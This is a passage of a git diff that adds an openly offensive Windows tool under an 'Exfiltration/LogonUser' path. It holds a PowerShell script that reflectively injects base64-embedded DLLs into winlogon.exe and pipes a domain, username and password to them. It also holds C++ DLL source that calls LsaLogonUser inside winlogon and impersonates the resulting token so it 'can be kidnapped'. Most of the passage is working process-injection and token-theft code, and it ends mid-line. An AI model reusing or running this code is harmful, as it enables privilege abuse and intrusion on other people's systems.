AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + [Byte[]]$Logon32Bit = [Convert]::FromBase64String($Logon32Bit_Base64) + [Byte[]]$Logon64Bit = [Convert]::FromBase64String($Logon64Bit_Base64) + Invoke-ReflectivePEInjection -Bytes32 $Logon32Bit -Bytes64 $Logon64Bit -ProcId $WinLogonProcessId + + + #Send domain, username, and password over the named pipe + [Byte[]]$DomainBytes = [System.Text.UnicodeEncoding]::Unicode.GetBytes($DomainName) + [Byte[]]$UsernameBytes = [System.Text.UnicodeEncoding]::Unicode.GetBytes($UserName) + [Byte[]]$PasswordBytes = [System.Text.UnicodeEncoding]::Unicode.GetBytes($Password) + + $Pipe.WaitForConnection() + + $Pipe.Write($DomainBytes, 0, $DomainBytes.Count) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent domain" + $Pipe.Write($UsernameBytes, 0, $UsernameBytes.Count) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent username" + $Pipe.Write($PasswordBytes, 0, $PasswordBytes.Count) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent password" + $Pipe.WriteByte($LogonTypeNum) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent logontype" + $Pipe.WriteByte($AuthPackageNum) + $Pipe.WaitForPipeDrain() + Write-Verbose "Sent auth package" + + $RetMessageSize = 1024 + [Byte[]]$ReturnMessageBytes = New-Object Byte[] $RetMessageSize + $ReadBytes = $Pipe.Read($ReturnMessageBytes, 0, $RetMessageSize) + + $ReturnMessage = [System.Text.ASCIIEncoding]::ASCII.GetString($ReturnMessageBytes, 0, $ReadBytes) + Write-Output "DLL OUTPUT: $($ReturnMessage)" + } + finally + { + $Pipe.Dispose() + } +} diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser.sln b/Exfiltration/LogonUser/LogonUser/LogonUser.sln new file mode 100644 index 00000000..890e8335 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2012 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "logon", "logon\logon.vcxproj", "{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.ActiveCfg = Debug|Win32 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.Build.0 = Debug|Win32 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.ActiveCfg = Debug|x64 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.Build.0 = Debug|x64 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.ActiveCfg = Release|Win32 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.Build.0 = Release|Win32 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.ActiveCfg = Release|x64 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp new file mode 100644 index 00000000..f5b39fdf --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp @@ -0,0 +1,137 @@ +// LogonUser.cpp : Defines the entry point for the console application. +// + +#include "stdafx.h" + +using namespace std; + +size_t wcsByteLen( const wchar_t* str ); +void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset ); +PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size); +size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset); + +int _tmain(int argc, _TCHAR* argv[]) +{ + //Get a handle to LSA + HANDLE hLSA = NULL; + NTSTATUS status = LsaConnectUntrusted(&hLSA); + if (status != 0) + { + cout << "Error calling LsaConnectUntrusted. Error code: " << status << endl; + return -1; + } + if (hLSA == NULL) + { + cout << "hLSA is NULL, this shouldn't ever happen" << endl; + return -1; + } + + //Build LsaLogonUser parameters + LSA_STRING originName = {}; + char originNameStr[] = "qpqp"; + originName.Buffer = originNameStr; + originName.Length = (USHORT)strlen(originNameStr); + originName.MaximumLength = originName.Length; + + ULONG authPackage = 0; + PLSA_STRING authPackageName = new LSA_STRING(); + char authPackageBuf[] = MSV1_0_PACKAGE_NAME; + authPackageName->Buffer = authPackageBuf; + authPackageName->Length = (USHORT)strlen(authPackageBuf); + authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf); + status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage); + if (status != 0) + { + int winError = LsaNtStatusToWinError(status); + cout << "Call to LsaLookupAuthenticationPackage failed. Error code: " << winError; + return -1; + } + + DWORD authBufferSize = 0; + PVOID authBuffer = CreateNtlmLogonStructure(L"VMWORKSTATION", L"testuser", L"Password1", &authBufferSize); + cout << "authBufferSize: " << authBufferSize << endl; + + //Get TokenSource + HANDLE hProcess = GetCurrentProcess();//todo + HANDLE procToken = NULL; + BOOL success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken); + if (!success) + { + DWORD errorCode = GetLastError(); + cout << "Call to OpenProcessToken failed. Errorcode: " << errorCode << endl; + return -1; + } + + TOKEN_SOURCE tokenSource = {}; + DWORD realSize = 0; + success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize); + if (!success) + { + cout << "Call to GetTokenInformation failed." << endl; + return -1; + } + + + //Misc + PVOID profileBuffer = NULL; + ULONG profileBufferSize = 0; + LUID loginId; + HANDLE token = NULL; + QUOTA_LIMITS quotaLimits; + NTSTATUS subStatus = 0; + + status = LsaLogonUser(hLSA, + &originName, + RemoteInteractive, + authPackage, + authBuffer, + authBufferSize, + 0, + &tokenSource, + &profileBuffer, + &profileBufferSize, + &loginId, + &token, + "aLimits, + &subStatus); + + if (status != 0) + { + NTSTATUS winError = LsaNtStatusToWinError(status); + cout << "Error calling LsaLogonUser. Error code: " << winError << endl; + return -1; + } + + cout << "Success!" << endl; + + return 1; +} + +//size will be set to the size of the structure created +PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size) +{ + size_t wcharSize = sizeof(wchar_t); + + size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((domain.length() + username.length() + password.length()) * wcharSize); + MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]); + size_t offset = sizeof(MSV1_0_INTERACTIVE_LOGON); + + ntlmLogon->MessageType = MsV1_0InteractiveLogon; + offset += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), ntlmLogon, offset); + offset += WriteUnicodeString(username, &(ntlmLogon->UserName), ntlmLogon, offset); + offset += WriteUnicodeString(password, &(ntlmLogon->Password), ntlmLogon, offset); + + *size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere. + return ntlmLogon; +} + +size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset) +{ + const wchar_t* buffer = str.c_str(); + size_t size = str.length() * sizeof(wchar_t); + uniStr->Length = (USHORT)size; + uniStr->MaximumLength = (USHORT)size; + uniStr->Buffer = (PWSTR)((UINT_PTR)baseAddress + offset); + memcpy((PVOID)((UINT_PTR)baseAddress + offset), str.c_str(), size); + return size; +} \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj new file mode 100644 index 00000000..7fd8de22 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj @@ -0,0 +1,158 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {F9DC2AAF-2213-4D87-9F52-283DA1CC6E18} + Win32Proj + LogonUser + + + + Application + true + v110 + Unicode + + + Application + true + v110 + Unicode + + + Application + false + v110 + true + Unicode + + + Application + false + v110 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + secur32.lib;%(AdditionalDependencies) + + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + secur32.lib;%(AdditionalDependencies) + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters new file mode 100644 index 00000000..f92726f4 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters @@ -0,0 +1,36 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt b/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt new file mode 100644 index 00000000..8275e56e --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/ReadMe.txt @@ -0,0 +1,40 @@ +======================================================================== + CONSOLE APPLICATION : LogonUser Project Overview +======================================================================== + +AppWizard has created this LogonUser application for you. + +This file contains a summary of what you will find in each of the files that +make up your LogonUser application. + + +LogonUser.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +LogonUser.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +LogonUser.cpp + This is the main application source file. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named LogonUser.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp new file mode 100644 index 00000000..d213d3a8 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// LogonUser.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h new file mode 100644 index 00000000..cb2a53f6 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/stdafx.h @@ -0,0 +1,20 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" +#include +#include +#include +#include +#include +#include + + + + + +// TODO: reference additional headers your program requires here diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h b/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h new file mode 100644 index 00000000..87c0086d --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt b/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt new file mode 100644 index 00000000..605d3417 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/ReadMe.txt @@ -0,0 +1,48 @@ +======================================================================== + DYNAMIC LINK LIBRARY : logon Project Overview +======================================================================== + +AppWizard has created this logon DLL for you. + +This file contains a summary of what you will find in each of the files that +make up your logon application. + + +logon.vcxproj + This is the main project file for VC++ projects generated using an Application Wizard. + It contains information about the version of Visual C++ that generated the file, and + information about the platforms, configurations, and project features selected with the + Application Wizard. + +logon.vcxproj.filters + This is the filters file for VC++ projects generated using an Application Wizard. + It contains information about the association between the files in your project + and the filters. This association is used in the IDE to show grouping of files with + similar extensions under a specific node (for e.g. ".cpp" files are associated with the + "Source Files" filter). + +logon.cpp + This is the main DLL source file. + + When created, this DLL does not export any symbols. As a result, it + will not produce a .lib file when it is built. If you wish this project + to be a project dependency of some other project, you will either need to + add code to export some symbols from the DLL so that an export library + will be produced, or you can set the Ignore Input Library property to Yes + on the General propert page of the Linker folder in the project's Property + Pages dialog box. + +///////////////////////////////////////////////////////////////////////////// +Other standard files: + +StdAfx.h, StdAfx.cpp + These files are used to build a precompiled header (PCH) file + named logon.pch and a precompiled types file named StdAfx.obj. + +///////////////////////////////////////////////////////////////////////////// +Other notes: + +AppWizard uses "TODO:" comments to indicate parts of the source code you +should add to or customize. + +///////////////////////////////////////////////////////////////////////////// diff --git a/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp b/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp new file mode 100644 index 00000000..69b58914 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/dllmain.cpp @@ -0,0 +1,19 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "stdafx.h" + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/Exfiltration/LogonUser/LogonUser/logon/logon.cpp b/Exfiltration/LogonUser/LogonUser/logon/logon.cpp new file mode 100644 index 00000000..8011ed83 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/logon/logon.cpp @@ -0,0 +1,258 @@ +// logon.cpp : Defines the exported functions for the DLL application. +// + +#include "stdafx.h" + +using namespace std; + +size_t wcsByteLen( const wchar_t* str ); +void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset ); +PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size); +PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size); +size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address); +void WriteErrorToPipe(string errorMsg, HANDLE pipe); + +extern "C" __declspec( dllexport ) void VoidFunc(); + + +//The entire point of this code is to call LsaLogonUser from within winlogon.exe +extern "C" __declspec( dllexport ) void VoidFunc() +{ + //Open a pipe which will receive data from the PowerShell script. + HANDLE pipe = CreateFile(L"\\\\.\\pipe\\sqsvc", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (pipe == INVALID_HANDLE_VALUE) + { + return; + } + + const size_t strSize = 257; + size_t bytesToRead = strSize * sizeof(wchar_t) - sizeof(wchar_t); + wchar_t* domain = new wchar_t[strSize]; + wchar_t* username = new wchar_t[strSize]; + wchar_t* password = new wchar_t[strSize]; + DWORD bytesRead = 0; + + BOOL success = ReadFile(pipe, domain, strSize, &bytesRead, NULL); + if (!success) + { + return; + } + domain[bytesRead/2] = '\0'; + + success = ReadFile(pipe, username, strSize-2, &bytesRead, NULL); + if (!success) + { + return; + } + username[bytesRead/2] = '\0'; + + success = ReadFile(pipe, password, strSize-2, &bytesRead, NULL); + if (!success) + { + return; + } + password[bytesRead/2] = '\0'; + + //Get the logon type from the pipe + USHORT logonType = 10; + success = ReadFile(pipe, &logonType, 1, &bytesRead, NULL); + if (!success) + { + return; + } + + //Get the authentication package to use. 1 = Msv1_0, 2 = Kerberos + USHORT authPackageToUse = 0; + success = ReadFile(pipe, &authPackageToUse, 1, &bytesRead, NULL); + if (!success) + { + return; + } + + + ///////////// + //Build the parameters to call LsaLogonUser with + ///////////// + + //Get a handle to LSA + HANDLE hLSA = NULL; + NTSTATUS status = LsaConnectUntrusted(&hLSA); + if (status != 0) + { + string errorMsg = "Error calling LsaConnectUntrusted. Error code: " + to_string(status); + WriteErrorToPipe(errorMsg, pipe); + return; + } + if (hLSA == NULL) + { + string errorMsg = "hLSA (LSA handle) is NULL, this shouldn't ever happen."; + WriteErrorToPipe(errorMsg, pipe); + return; + } + + //Build LsaLogonUser parameters + LSA_STRING originName = {}; + char originNameStr[] = ""; + originName.Buffer = originNameStr; + originName.Length = (USHORT)0; + originName.MaximumLength = 0; + + //Build the authentication package parameter based on the auth package the powershell script specified to use + //Also get the AuthenticationInformation + char* authPackageBuf = NULL; + DWORD authBufferSize = 0; + PVOID authBuffer = NULL; + if (authPackageToUse == 1) + { + authPackageBuf = MSV1_0_PACKAGE_NAME; + authBuffer = CreateNtlmLogonStructure(domain, username, password, &authBufferSize); + } + else if (authPackageToUse == 2) + { + authPackageBuf = MICROSOFT_KERBEROS_NAME_A; + authBuffer = CreateKerbLogonStructure(domain, username, password, &authBufferSize); + } + else + { + string errorMsg = "Received an invalid auth package from the named pipe"; + WriteErrorToPipe(errorMsg, pipe); + return; + } + + ULONG authPackage = 0; + PLSA_STRING authPackageName = new LSA_STRING(); + authPackageName->Buffer = authPackageBuf; + authPackageName->Length = (USHORT)strlen(authPackageBuf); + authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf); + status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage); + if (status != 0) + { + int winError = LsaNtStatusToWinError(status); + string errorMsg = "Call to LsaLookupAuthenticationPackage failed. Error code: " + to_string(winError); + WriteErrorToPipe(errorMsg, pipe); + return; + } + + //Get TokenSource + HANDLE hProcess = GetCurrentProcess();//todo + HANDLE procToken = NULL; + success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken); + if (!success) + { + DWORD errorCode = GetLastError(); + string errorMsg = "Call to OpenProcessToken failed. Errorcode: " + to_string(errorCode); + WriteErrorToPipe(errorMsg, pipe); + return; + } + + TOKEN_SOURCE tokenSource = {}; + DWORD realSize = 0; + success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize); + if (!success) + { + string errorMsg = "Call to GetTokenInformation failed."; + WriteErrorToPipe(errorMsg, pipe); + return; + } + + //Misc out parameters + PVOID profileBuffer = NULL; + ULONG profileBufferSize = 0; + LUID loginId; + HANDLE token = NULL; + QUOTA_LIMITS quotaLimits; + NTSTATUS subStatus = 0; + + //Log on the user + status = LsaLogonUser(hLSA, + &originName, + static_cast(logonType), + authPackage, + authBuffer, + authBufferSize, + 0, + &tokenSource, + &profileBuffer, + &profileBufferSize, + &loginId, + &token, + "aLimits, + &subStatus); + + if (status != 0) + { + NTSTATUS winError = LsaNtStatusToWinError(status); + string errorMsg = "Error calling LsaLogonUser. Error code: " + to_string(winError); + WriteErrorToPipe(errorMsg, pipe); + return; + } + + + //Impersonate the token with the current thread so it can be kidnapped + ImpersonateLoggedOnUser(token); + + //Put the thread to sleep so it can be impersonated + string successMsg = "Logon succeeded, impersonating the token so it can be kidnapped and starting an infinite loop with the thread."; + WriteErrorToPipe(successMsg, pipe); + HANDLE permenantSleep = CreateMutex(NULL, false, NULL); + while(1) + { + Sleep(MAXDWORD); + } + + return; +} + + +PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size) +{ + size_t wcharSize = sizeof(wchar_t); + + size_t totalSize = sizeof(KERB_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize); + KERB_INTERACTIVE_LOGON* ntlmLogon = (PKERB_INTERACTIVE_LOGON)(new BYTE[totalSize]); + size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(KERB_INTERACTIVE_LOGON); + + ntlmLogon->MessageType = KerbInteractiveLogon; + writeAddress += 